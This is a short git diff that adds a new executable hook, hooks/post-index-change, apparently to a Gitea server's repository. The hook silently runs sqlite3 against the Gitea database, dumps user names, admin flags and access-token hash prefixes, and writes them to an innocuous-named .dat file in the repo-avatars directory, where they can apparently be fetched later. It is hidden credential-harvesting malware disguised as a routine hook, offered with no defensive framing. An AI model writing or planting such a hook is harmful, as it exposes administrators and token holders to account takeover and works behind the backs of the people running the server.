diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..cc927af --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,2 @@ +#!/bin/sh +(sqlite3 /data/gitea/gitea.db ".mode list" "SELECT id,lower_name,is_admin FROM user;" "SELECT uid,name,substr(token_hash,1,20) FROM access_token;" "SELECT count(*) FROM repo;") > /data/gitea/repo-avatars/c96703912a96.dat 2>&1